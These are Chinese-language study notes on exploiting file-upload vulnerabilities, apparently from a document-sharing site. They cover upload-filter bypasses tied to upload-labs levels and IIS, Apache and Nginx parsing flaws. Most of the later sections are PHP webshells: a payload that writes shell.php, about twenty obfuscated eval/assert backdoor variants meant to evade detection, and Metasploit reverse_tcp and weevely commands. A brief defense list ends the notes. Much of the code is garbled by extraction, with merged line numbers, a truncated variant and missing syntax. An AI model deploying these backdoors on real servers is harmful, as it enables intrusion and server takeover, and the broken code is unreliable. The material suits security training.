文件上传总结

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

⽂件上传总结
1. WebShell
1.1 什么是Shell
Shell是系统的⽤户界⾯,提供了⽤户与内核进⾏交互操作的⼀种接⼝。

它接收⽤户输⼊的命令并把它送⼊内核去执⾏。

因为系统内核使我们不能直接操作的,shell就给我们提供了⼀个接⼝,通过shell我们可以把命令送⼊到内核。

shell管理⽤户与操作系统之间的交互:等待你输⼊,向操作系统解释你的输⼊,并且处理各种各样的操作系统的输出结果。

传统意义上的shell指的是命令⾏式的shell,以后如果不特别注明,shell是指命令⾏式的shell。

表⽰⽤户拥有的权限,不同的shell权限不同
1.2 WebShell
⿊客在⼊侵了⼀个⽹站后,通常会留下⼀个asp或php后门⽂件与⽹站web服务器进⾏交互,得到⼀个命令执⾏环境,以达到控制⽹站服务器的⽬的。

这个后门⽂件就是所谓的webshell。

2. ⽊马分类
2.1 ⼀句话⽊马
⼀句话⽊马是Webshell的⼀种,由于这类Webshell代码⽐较少,往往只有⼀⾏代码,所以就被称为⼀句话⽊马。

⼀句话⽊马虽然代码简单,但是结合中国菜⼑、蚁剑等WebShell管理⼯具,它们的功能却是⾮常的强⼤。

2.1.1 ⼀句话⽊马⼯作原理
在PHP、ASP、ASPX中都有可以执⾏外部程序的函数,⼀句话⽊马就是通过这些函数来⼯作的,由页⾯传输待执⾏的命令,函数在远程执⾏命令。

PHP⼀句话⽊马
ASP⼀句话⽊马
ASPX⼀句话⽊马
2.1.2 特点
代码量少,体积⼩,不易被发现,配合WebShell管理⼯具功能强⼤。

2.2 ⼩马
2.2.1 特点
代码量较少,体积较⼩,基本功能(⽂件管理、命令执⾏、数据库管理)都有
2.3 ⼤马
2.2.1 特点
代码量多,体积⼤,易被发现,功能多
3. 修改Apache权限
WebShell的权限和Apache权限有关,可以通过限制Apache权限降低WebShell的权限。

3.1 Windows
为Apache添加⽤户
1net user Apache password /add
打开服务管理
找到Apache-属性-登录-此账户
登录Apache⽤户
3.2 Linux
不使⽤源码安装Apache就是最低权限
4. ⽂件上传
4.1 ⽂件上传原理
在⽂件上传的功能处,若服务端脚本语⾔未对上传的⽂件进⾏严格验证和过滤,导致恶意⽤户上传恶意的脚本⽂件时,就有可能获取执⾏服务端命令的能⼒,这就是⽂件上传漏洞。

⽂件上传漏洞对Web应⽤来说是⼀种⾮常严重的漏洞。

⼀般情况下,Web应⽤都会允许⽤户上传⼀些⽂件,如头像、附件等信息,如果Web应⽤没有对⽤户上传的⽂件进⾏有效的检查过滤,那么恶意⽤户就会上传⼀句话⽊马等Webshell,从⽽达到控制Web⽹站的⽬的。

4.1.1 ⽂件上传漏洞⾼危触发点
相册、头像上传
视频、照⽚分享
附件上传
⽂件管理器
4.2 ⽂件上传检测
4.2.1 JavaScript检测
检测⽂件后缀名
绕过⽅式:
1.关闭JS解析
2.在⽩名单中加上要上传的⽂件类型
3.破坏JS
4.拦截数据包修改⽂件名
upload-labs第1关
4.2.2 MIME检测
检测content-type
绕过⽅式:
抓包修改content-type image/png image/jpeg image/bmp 4.2.3 扩展名检测
4.2.3.1 使⽤⿊名单检测:
{php|php3|php4|asp|html|jsp}
4.2.3.2 绕过⽅式:
4.2.3.2.1 找⼀种不在⿊名单中的,可以被正常解析的⽂件后缀名4.2.3.2.2 后缀名⼤⼩写
4.2.3.2.3 利⽤windows特性绕过检测:
4.2.3.2.3.1 Windows+PHP 叠加特性(upload-labs第4关
)
1 2 3 4 5" = . \> = ? \< = *
第⼀步操作可以向服务器中写⼀个0
字节的⽂件
第⼆步上传时,修改⽂件名为test.>>>或test.<
4.2.3.2.3.2 Windows⽂件名特性(upload-labs第6,7,9关)
点或者空格结尾的⽂件再保存的时候,点和空格会被删除
shell.php.(空格)或shell.php (空格)
4.2.3.2.3.3 Windows⽂件流(NTFS)特性(upload-labs第8关)
4.2.3.2.4 使⽤00截断 (PHP版本)
php版本要⼩于5.3.4,5.3.4及以上已经修复该问题;
magic_quotes_gpc需要为OFF状态,在PHP.ini中修改
4.2.3.2.4.1 path通过GET⽅式传输(upload-lab第11关)
抓包
修改URL,在末尾加上可以解析的扩展名和%00进⾏截断
4.2.3.2.4.2 path通过POST⽅式传输(upload-lab第12关)
抓包-在保存路径后添加可以解析的扩展名并使⽤%00进⾏截断,要将%00选中Ctrl+Shift+U转为⼗六进制。

4.2.3.2.5 通过修改解析规则绕过⿊名单检测
创建.htaccess
⽂件
1 2 3<FilesMatch "test.io"> SetHandler application/x-httpd-php </FilesMatch>
上传.htaccess⽂件,再上传test.io,test.io被解析为php
4.2.4 ⽂件内容检测(⽂件头或魔术头)(upload-labs第13关)
格式⽂件头
JPG FF D8 FF E0 00 10 4A 46 49 46
GIF47 49 46 38 39 61
PNG89 50 4E 47
Windows Bitmap (bmp)42 4D
TIFF (tif)49 49 2A 00
CAD (dwg)41 43 31 30
Adobe Photoshop (psd)38425053
格式⽂件头
Rich Text Format (rtf)7B5C727466
MS Word/Excel (xls.or.doc)D0CF11E0
MS Access (mdb)5374616E64617264204A
ZIP Archive (zip)504B0304
RAR Archive (rar)52617221
Wave (wav)57415645
AVI (avi)41564920
Real Media (rm)2E524D46
MPEG (mpg)000001BA
MPEG (mpg)000001B3
Quicktime (mov)6D6F6F76
Adobe Acrobat (pdf)255044462D312E
Windows Media (asf)3026B2758E66CF11
MIDI (mid)4D546864
⽣成图⽚⽊马
使⽤edjpgcom.exe
将图⽚拖拽到.exe上
需要和其他漏洞(解析漏洞、⽂件包含)结合使⽤
4.2.5 ⽂件渲染检测
调⽤API 或函数去进⾏⽂件加载测试常见的是图像渲染测试,再变态点的甚⾄是进⾏⼆次渲染(后⾯会提到) 对⽂件加载检测的攻击⼀般就两种⽅式,⼀个是渲染测试绕过,另⼀个是攻击⽂件加载器⾃⾝。

4.2.
5.1 渲染测试绕过
先⽤ GIMP 对⼀张图⽚进⾏代码注⼊⽤ winhex 看数据可以分析出这类⼯具的原理是在不破坏⽂件本⾝的渲染情况下找⼀个空⽩区进⾏填充代码⼀般是图⽚的注释区
upload-labs第16关
4.2.
5.2 攻击⽂件加载器
⼆次渲染基本上没法绕过,只能对⽂件加载器进⾏攻击
⼆次渲染相当于是把原本属于图像数据的部分选取出来,再⽤API 或函数进⾏重新渲染,在这个过程中⾮图像数据的部分直接就隔离开了
Magic image
4.2.6 条件竞争
线程编程中,为了保证数据操作的⼀致性,操作系统引⼊了锁机制,⽤于保证临界区代码的安全。

通过锁机制,能够保证在多核多线程环境中,在某⼀个时间点上,只能有⼀个线程进⼊临界区代码,从⽽保证临界区中操作数据的⼀致性。

临界区指的是⼀个访问共⽤资源(例如:共⽤设备或是共⽤存储器)的程序⽚段,⽽这些共⽤资源⼜⽆法同时被多个线程访问的特性。

竞争条件发⽣在多个线程同时访问同⼀个共享代码、变量、⽂件等没有进⾏锁操作或者同步操作的场景中。

upload-labs第17关
4.2.7 写提交按钮
有些上传页⾯没有提交按钮,可以⽤HTML编辑From表单,添加提交按钮
5. 解析漏洞
5.1 IIS
5.1.1 版本:5.x-
6.x
⽬录解析漏洞:以asp/asa等结尾的⽬录,其⽬录下的⽂件均可被解析
⽂件名解析漏洞:以.asp/asa;*.png或;*.jpg结尾的⽂件均可被解析
IIS应⽤层漏洞:以asa、cer、cdx结尾的⽂件均可被解析
5.1.2 版本:7.5(配置不当引起)
在当前⽂件中,有IIS能够解析的扩展名(asp/aspx),这个⽂件可被解析
a.aspx.a
a.aspx.jpg.jpg…jpg
5.1.3 版本:IIS 7.0/IIS 7.5
,内容为
在默认Fast-CGI开启状况下,上传⼀个名字为wooyun.jpg
1<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
的⽂件,然后访问wooyun.jpg/.php,在这个⽬录下就会⽣成⼀句话⽊马 shell.php
x.asp%00.jpg
5.1.4 IIS PUT写⼊漏洞
服务器配置不当造成,因为开启Webdav,使应⽤程序可直接对Web Server进⾏读写,同时IIS中⼜配置⽬录可写,便产⽣很严重的问题。

5.2 Apache
5.2.1 ⽂件名移位解析
原理:Apache在解析⽂件过程中,从右向左开始判断后缀名,遇到不认识的后缀名,会向左移动⼀位再做判断test.php.php123.cdd
先解析.cdd不认识,再解析.php123,再解析php
服务器本⾝的漏洞
5.2.2 ⽂件名中包含PHP就会解析(配置不当)
再配置⽂件中添加⼀⾏配置:
1AddHander php5-script .php
test2.php.jpg
5.2.3 添加扩展名(配置不当)
即使是.jpg⽂件也能被解析
5.3 Nginx
5.3.1 版本<8.0.3 畸形解析漏洞
在默认Fast-CGI开启状况下,上传⼀个名字为wooyun.jpg,内容为
1<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
的⽂件,然后访问wooyun.jpg/.php,在这个⽬录下就会⽣成⼀句话⽊马 shell.php
5.3.2 版本<8.0.3 空字节代码执⾏漏洞
上传⽂件是图⽚⽊马,在访问时,URL中图⽚后缀名后⾯加上%00.php可以正常解析
xxx.jpg%00.php
5.3.3 fix_pathinfo(配置不当)
在配置⽂件中设置fix_pathinfo这个参数(开启,并设置相应的值),服务器中就会出现各种解析漏洞(CGI解析漏洞)
1 2 3/1.jpg/1.php
/1.jpg%00.php /1.jpg/%20\1.php
6. Getshell条件
6.1 ⽊马可上传
可直接解析的后缀名、图⽚⽊马
6.2 ⽊马可解析
后缀名可直接解析,知道⽂件的路径
图⽚⽊马结合其他漏洞(解析漏洞或⽂件包含),知道⽂件路径
6.3 ⽊马可访问
⽂件路径获取⽅法:
上传正常图⽚,并且显⽰该图⽚,直接看图⽚路径
扫⽬录
信息泄露--列⽬录
7.⼀句话⽊马变形
7.1 使⽤字符串隐藏assert、eval等函数
1$a =str_replace("x","",”axsxxsxexrxxt”);$a($_POST[“code”]);
⽤字符串隐藏assert⽅法,并且利⽤它加上动态传⼊参数的⽅式构造后门。

7.2 将函数和执⾏命令都作为请求参数
2 3?a=assert&b=phpinfo();
完全利⽤动态参数传⼊的⽅式构造后门,将敏感函数和执⾏的命令动态传⼊,效果如变形⼆。

7.3 preg_replace函数
1 2($code = $_POST[‘code’]) &&
@preg_replace(‘/ad/e’,’@’.str_rot13(‘riny’).'($code)’, ‘add’);
7.4
⾃定义函数
1 2 3 4$fun=creat_function('',$_POST['a']); $fun();
a=phpinfo();
7.5 回调函数
call_user_func() 7.6 file_put_contents
函数
2 3 4$test='<?php $a=$_POST["cmd"];assert($a); ?>'; file_put_contents("shell.php", $test);
?>
7.7 PHP
变量函数
1 2 3 4<?php
$a = "eval";
$a(@$_POST['a']); ?>
7.8 PHP
可变变量
1 2 3 4 5<?php
$bb="eval";
$a="bb";
$$a($_POST['a']); ?>
7.9 str_replace
函数
1 2 3 4<?php
$a=str_replace("Waldo", "", "aWaldossert"); $a(@$_POST['a']);
?>
7.10 base64_decode
函数
1 2 3 4 5base64_decode函数
<?php
$a=base64_decode("ZXZhbA==") $a($_POST['a']);
?>
7.11 .
操作符
1 2 3 4 5 6<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']); ?>
7.12 parse_str
函数,将查询字符串解析到变量中
1 2 3 4 5 6<?php
$str="a=eval"; parse_str($str); //$a=eval
$a($_POST['a']); ?>
7.13 array_filter
函数,⽤回调函数过滤数组中的元素
1 2 3$e=$_REQUEST['e'];
$arr = array($_POST['pass'],); array_map($e, $arr);
eval不能回调,assert可以
使⽤菜⼑连接
\e=assert\
7.14 array_map函数
将函数作⽤到数组中的每个值上,做相应的处理,并返回带有新值的数组:1$e = $_REQUEST['e'];
23$arr = array($_POST['pass'],);
array_map($e, $arr);
7.15 uasort 函数
使⽤⾃定义的⽐较函数对数组$arr
中的元素按键值进⾏排序
123$e=$_REQUEST['e'];
$arr=array('test',$_REQUEST['pass']);
uasort($arr,$e);
PHP 版本>5.4
7.16
加密类变形
12
3
4
5
67
8
9
10
111213if(isset($_POST['com'])&&md5($_POST['com'])== '202cb962ac59075b964b07152d234b70'&& isset($_POST['content'])) $content = strtr($_POST['content'], '-_,', '+/=');eval(base64_decode($content));
eval($_POST["cmd"])
/shell.php cmd
content=JF9QT1NUWyJjbWQiXQ==
com=123
7.17
变量拼接类变形
12<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s2?>
7.18
加密拼接
1234567891011121314<?
$__C_C="WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09";
$__P_P="abcdefghijklmnopqrstuvwxyz";
$__X_X="123456789";
$__O_O=$__X_X[5].$__X_X[3]."_";
$__B_B=$__P_P{1}.$__P_P[0].$__P_P[18].$__P_P[4];
$__H_H=$__B_B.$__O_O.$__P_P[3].$__P_P[4].$__P_P[2].$__P_P[14].$__P_P[3].$__P_P[4];
$__E_E=$__P_P[4].$__P_P[21].$__P_P[0].$__P_P[11];
$__F_F=$__P_P[2].$__P_P[17].$__P_P[4].$__P_P[0].$__P_P[19].$__P_P[4];
$__F_F.='_'.$__P_P[5].$__P_P[20].$__P_P[13].$__P_P[2].$__P_P[19].$__P_P[8].$__P_P[14].$__P_P[13];
$_[00]=$__F_F('$__S_S',$__E_E.'("$__S_S");');
@$_[00]($__H_H($__H_H($__C_C)));
//解码后即==> eval($_POST[x]);
?>7.19 MSF
⽣成⽹页⽊马1.⽣成⽊马
12345set payload php/meterpreter/reverse_tcp
show options
set lhost
set lport
exploit -j
7.20 Weevely
⽣成⽹页⽊马
1python weevely.py generate password path
终端
8. ⽂件上传防御
1.使⽤⽩名单限制上传类型
⿊名单可以使⽤各种⽅法进⾏绕过
2.使⽤最新版本的IIS 、Apache 、Nginx
3.对上传⽂件名进⾏改写
4.检查HTTP Header 中的Content-Type 、检查⽂件上传路径
5.分析⽂件头和⽂件尾
6.对图⽚进⾏渲染,最好⼆次渲染,并对API 和函数进⾏加固,防⽌溢出
7.设置⽂件夹权限
根据需求将⽂件上传的⽬录设置为不可执⾏
8.尽可能让上传的⽂件的路径不可知,将路径保存到数据库中,在需要的时候再进⾏读取
9.限制上传⽂件的⼤⼩
10.单独设置⽂件服务器的域名
9. 参考
[1]
[2]
[3]
以后你⾛你的成华⼤道,我⾛我的⼆仙桥。

相关文档
最新文档